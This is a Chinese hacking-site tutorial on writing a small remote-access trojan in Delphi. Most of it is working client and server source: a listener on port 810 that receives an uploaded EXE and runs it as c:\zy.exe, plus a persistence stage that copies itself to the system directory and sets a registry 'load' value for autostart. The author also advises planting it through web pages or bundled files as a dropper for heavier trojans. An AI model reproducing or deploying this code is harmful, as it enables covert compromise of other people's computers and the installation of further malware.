欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

使用Delphi打造木马

来源:www.hack58.net 作者:佚名 时间:2006-11-29 TAG: 我要投稿

价一匹木马的优略,除了功能的多少外,还有一点是必须具备的,那就是必须要小巧。只有小巧才能以最快的手段来种植,只有小巧才能更好的隐藏和捆绑。入侵过程中,有时候机会稍纵即逝,为了在很短的时间内种植后门,就必须使用小巧的木马来当先行者。现在的黑客入侵越来越注重木马的大小。只有那些刚刚接触木马的新手才会使用体型庞大的后门程序。 

我一直在想,使用delphi到底能写出多小的木马程序来?这个问题其实困绕了我很长一段时间。虽然Delphi是个很有效率的开发工具,但是它有一个缺点就是生成的EXE文件太大。一个程序就算只有一个空窗口体积也有286KB。怎么样才能把它变小呢?在经过多方面的查找资料和学习,功夫不负有心人。我终于写出来一个56K的小木马“InclinedRoad”(使用了UPX压缩),它的功能非常简单,只有上传和运行EXE程序的功能,不过这样已经足够当木马程序用了。 

其实也没有使用什么高深的技术,只是利用了WinSock API 来进行Socket编程,这些都是别人用剩下的东西,我之所以提一下,只是因为这方面编写木马的资料比较少。Delphi中各种网络组件的强大功能,都是建立在WinSock API基础之上的。具体的内容我不多说了,这里推荐一本书——《DELPHI深度编程及其项目应用开发》。这本书上面的“Socket编程”一章讲的非常详细,自己看就可以了。并且在我所写的木马中,里面的一些关键性代码,也是参考了这本书上的例子。废话少说,下面讲一讲木马“InclinedRoad”的开发过程: 

木马客户端关键性代码: 
//创建窗体时,启动WinSock动态链接库 
procedure TForm1.FormCreate(Sender: TObject); 
var 
awsadata:twsadata; 
begin 
if wsastartup($0101,awsadata)〈〉0 then 
raise exception.Create('不能启动winsock动态链接库'); 
end; 
//当窗体关闭时,释放WinSock动态链接库 
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction); 
begin 
if wsacleanup〈〉 0 then 
messagebox (handle,'清除WINSOCK动态链接库错误!','http://sforever.mycool.net',MB_OK) 
ELSE 
//清除WINSOCK动态链接库成功 
closesocket(client); 
end; 
procedure tform1.transfile(filename:string); //发送文件过程 
var 
ftrans:file of byte; 
flen:integer; 
blocknum,remainlen:integer; 
blockbuf:array[0..blocklen - 1] of byte; 
i:integer; 
sendlen:integer; 
begin 
assignfile(ftrans,filename); 
reset(ftrans); 
flen:=filesize(ftrans); 
blocknum:=flen div blocklen; 
progressbar1.max:=1 + blocknum; 
remainlen:=flen mod blocklen; 
sendlen:=1; 
for i:=0 to blocknum -1 do 
begin 
if (sendlen 〈= 0) then break; 
blockread(ftrans,blockbuf[0],blocklen); 
sendlen:=send(client,blockbuf,blocklen,0); 
progressbar1.position:=i; 
application.ProcessMessages; 
end; 
if (sendlen 〈= 0) then 
begin 
closefile(ftrans); 
messagebox(handle,'传输异常终止','错误',mb_ok); 
progressbar1.position:=0; 
exit; 
end; 
if remainlen 〉 0 then 
begin 
blockread(ftrans,blockbuf[0], remainlen); 
sendlen:=send(client, blockbuf, remainlen,0); 
if (sendlen 〈= 0) then 
begin 
closefile(ftrans); 
messagebox(handle,'传输异常终止!!','错误',mb_ok); 
progressbar1.position:=0; 
exit; 
end; 
end; 
progressbar1.position:=progressbar1.max; 
closefile(ftrans); 
messagebox(handle,'传输文件完毕!!','完成',mb_ok); 
progressbar1.position:=0; 
end; 
procedure TForm1.Button1Click(Sender: TObject); //建立连接 
var 
ca:sockaddr_in; 
hostaddr:u_long; 
begin 
//创建客户端的Socket 
client:=socket(pf_inet,sock_stream, ipproto_ip); 
if client = invalid_socket then 
begin 
messagebox(handle,'创建Socket错误!','错误',mb_ok); 
exit; 
end; 
ca.sin_family:= pf_inet; 
ca.sin_port:=htons(strtoint(trim(edit2.text))); 
hostaddr:=inet_addr(pchar(trim(edit1.text))); 
//判断IP地址是否合法 
if (hostaddr = -1) then 
begin 
messagebox(handle,'IP地址错误','错误',mb_ok); 
exit; 
end 
else 
ca.sin_addr.s_addr:=hostaddr; 
//连接服务器 
if connect(client, ca, sizeof(ca))〈〉0 then 
begin 
Application.MessageBox('建立连接失败!!','错误',mb_ok); 
exit; 
end 
else 
Application.MessageBox('建立连接成功','错误',mb_ok); 
end; 
procedure TForm1.Button2Click(Sender: TObject); //发送EXE文件 
var 
infstring; 
bufsend:pchar; 
re:integer; 
begin 
getmem(bufsend,1024); 
zeromemory(bufsend,1024); 
inf=extractfilename(OpenDialog1.filename); 
strpcopy(bufsend,info); 
re:=send(client,bufsend^,length(bufsend),0); 
if(re = socket_error) then 
begin 
exit; 
end; 
if (OpenDialog1.execute) and (fileexists(OpenDialog1.filename)) then 
transfile(OpenDialog1.filename); 
end; 
procedure TForm1.Button3Click(Sender: TObject); //退出程序并运行传输的EXE文件 
begin 
close; 
end; 

下面是我编写的木马“InclinedRoad”客户端界面: 
木马服务器端关键性代码: 
program InclinedRoad; 
uses 
windows,winsock; 
const 
blocklen=1024*4; 
var 
server:tsocket;//定义服务器端socket句柄 
{.$R *.res} 
接收文件过程 
procedure recvfile(filename:string); 
var 
ftrans:file of byte; 
recelen:integer; 
blockbuf:array[0..blocklen -1] of byte; 
recvsocket:tsocket; 
ra:sockaddr_in; 
ra_len:integer; 
begin 
ra_len:=sizeof(ra); 
recvsocket:=accept(server,@ra,@ra_len);//等待连接的客户端socket 
assignfile(ftrans,filename); //创建一个保存的文件 
rewrite(ftrans); 
recelen:=recv(recvsocket,blockbuf,blocklen,0); //接收数据 
while recelen 〉 0 do 
begin 
blockwrite(ftrans,blockbuf[0],recelen); 
recelen:=recv(recvsocket,blockbuf,blocklen,0); 
end; 
closefile(ftrans); //关闭文件接收的socket 
closesocket(recvsocket); 
winexec(pchar('c:\zy.exe'),sw_shownormal);//运行上传的文件 
end; 
////////////////////////////////////////// 
var 
awsadata:twsadata; 
ca:sockaddr_in; 
begin //程序从这里开始执行 
WSAStartup($0101,awsadata); //初始化WINSOCK,要求最低版本是2.0 
server:=socket(pf_inet,sock_stream,ipproto_ip);//建立Socket 
if server =invalid_socket then 
begin 
//创建接收Socket错误!; 
exit; 
end; 
ca.sin_family :=pf_inet; 
ca.sin_port:=htons(810);//端口 
ca.sin_addr.s_addr:=inaddr_any; 
if bind(server,ca,sizeof(ca))=socket_error then 
begin 
closesocket(server); //绑定接收端SOCKET错误!请更改接收端口 
exit; 
end 
else 
listen(server,5); //绑定接收端SOCKET成功! 
//接收文件,并保存到C盘根目录,程序名称为zy.exe 
recvfile('c:\zy.exe'); 
end. 
以上是木马客户端和服务器端的源代码,其中服务器端的代码用记事本保存后改名为InclinedRoad.dpr,,然后用Delphi打开直接编译即可。 

上面代码的注释已经写的很详细了,我想只要是有些Delphi编程基础的人,都可以很好的理解上面的代码。如果你把服务器端的代码编译一下,会发现只有15.5K这么大,再使用UPX压缩一下,不是吧,9K。呵呵!!现在不得不承认使用DELPHI也能写出小木马了。 

下面说一下程序的测试情况,如果你分别编译好了客户端和服务器端。那么就可以在两台连网的计算机上测试木马程序了,假设A、B两台计算机,首先在计算机A上运行服务器端,然后在计算机B上打开客户端程序连接测试,提示连接成功后,可以上传文件(例如上传:muma.exe,并且注意一定要上传EXE文件),上传文件完毕后,就会在计算机A的c:\目录下面出现一个zy.exe文件。这个文件就是你刚才上传的muma.exe文件,不过只是改了名子而已。最后退出计算机B上的客户端程序,在退出客户端程序过程中,服务器端就会自动执行你上传的mum.exe文件。 

用这个木马来做一个开路先锋是最好不过的了,可以利用网页,或者捆绑到其它文件中传给对方,等对方执行成功后,再用它来传递功能更强大的木马,比如灰鸽子等。
加固篇 

好了,到现在为止,其实我们的木马还没有完全编写成功,因为它不能每次开机自动运行,并且还有非常重要的一点就是,服务器端只能使用一次,如果你刚才做过上面的测试,就会发现,上传一个EXE文件并且执行后,服务器端就会自动退出。如何解决这两个问题造成的不便? 

下面我们就来解决它。 
首先,打开记事本,在里面输入如下代码: 
program winroad; 
uses 
windows; 
var 
sStartInf STARTUPINFO; 
seProcess, seThread: SECURITY_ATTRIBUTES; 
PProcInf PROCESS_INFORMATION; 
{.$R *.res} 
procedure AllRunProcess; //启动系统目录下的 InclinedRoad.exe 程序 
var 
bSuccess: boolean; 
begin 
//结构清零 
ZeroMemory(@sStartInfo, sizeof(sStartInfo)); 
SStartInfo.cb := sizeof(sStartInfo); 
seProcess.nLength := sizeof(seProcess); 
seProcess.lpSecurityDescriptor := PChar(nil); //身份验证描述 
seProcess.bInheritHandle := true; 
seThread.nLength := sizeof(seThread); 
seThread.lpSecurityDescriptor := PChar(nil); 
seThread.bInheritHandle := true; 
bSuccess := CreateProcess(PChar(nil), Pchar('InclinedRoad.exe'), @seProcess, @seThread, false, CREATE_DEFAULT_ERROR_MODE 
, Pchar(nil), Pchar(nil), sStartInfo, PProcInfo); 
if (not bSuccess) then 
//ShowMessage('创建InclinedRoad.exe进程失败.') 
else 
//Application.MessageBox('该进程为关键系统进程,无法结束进程。','无法终止进程',MB_ICONWARNING); 
end; 
begin 
AllRunProcess; //程序从这里开始执行 
end. 
然后:把记事本文件另存为winroad.dpr文件,再用DELPHI编译它为winroad.exe,编译完成后,用UPX压缩它。压缩完成后,把它拷贝到Delphi的 Bin目录,使用Brcc32.exe把它编译成资源文件winroad.RES。(资源文件的编译过程请参考陈经韬的文章《谈Delphi编程中资源文件的应用》) 
现在把winroad.RES和木马的服务器端InclinedRoad.dpr放到同一目录,在InclinedRoad.dpr中添加代码,使之成为: 
program InclinedRoad; 
uses 
windows,winsock,Classes,SysUtils,Registry; 
const 
blocklen=1024*4; 
var 
server:tsocket;//定义服务器端socket句柄 
{.$R *.res} 
{$R winroad.RES} 
// 
function GetWinDir: String; //得到系统目录 
var 
Buf: array[0..MAX_PATH] of char; 
begin 
GetSystemDirectory(Buf, MAX_PATH); 
Result := Buf; 
if Result[Length(Result)]〈〉'\' then Result := Result + '\'; 
end; 
// 
function EXEResFile(const ResName,ResType,Newfile&:String):Boolean; 
var 
Res : TResourceStream; 
begin 
Result:=True; 
try 
Res:= TResourceStream.Create(Hinstance, Resname, Pchar(ResType)); 
try 
Res.SavetoFile(NewFile); 
finally 
Res.Free; 
end; 
except 
Result:=False; 
end; 
end; 
// 
function winroadFile(const Newfile&:String):Boolean; 
begin 
Result:=EXEResFile('winroad','exefile',GetWinDir+NewFile); 
end; 
// 
var 
awsadata:twsadata; 
ca:sockaddr_in; 
Reg: TRegistry; 
begin //程序从这里开始执行 
if not(FileExists(GetWinDir+'winroad.exe')) then winroadFile('winroad.exe'); //释放文件到系统目录 
if not(FileExists(GetWindir+'inclinedroad.exe')) then // 
begin 
copyfile(pchar(paramstr(0)),pchar(GetWinDir+'InclinedRoad.exe'),false); //拷贝自己到系统目录 
end; 
//修改注册表,开机自启动 
Reg := TRegistry.Create; 
Reg.RootKey := HKEY_CURRENT_USER; 
if Reg.OpenKey('\Software\Microsoft\Windows NT\CurrentVersion\Windows', true) then 
begin 
reg.WriteString( 'load', GetWindir + 'winroad.exe' ); 
Reg.CloseKey; 
end; 
Reg.Free; 
// 
WSAStartup($0101,awsadata); //初始化WINSOCK,要求最低版本是2.0 
以下代码略。。。。。。。。。。。 
end. 
以上我省略了重复的代码,具体内容创建篇中都已经给出来了,大家可以参照对比。 
虽然上面的代码都已经很详细了,但是我还是想说两句,以上代码的运行方式是这样的,服务器端执行以后,首先拷贝两个文件winroad.exe、InclinedRoad.exe到系统目录,其中winroad.exe是用来启动木马InclinedRoad.exe的,而木马程序InclinedRoad.exe负责修改注册表HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\load下的键值,来实现每次开机启动winroad.exe,并间接启动自身。这种启动方式也相对来说比较隐蔽。 

到此为止,我们的木马就算编写完成了,编译完成后,使用UPX压缩一下,可以看到只有56K,不知道大家认为它是不是够小?我却认为还是很大,不知道还有没有哪位高手能够再次削减它的体积,或提供更好的代码出来交流。

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载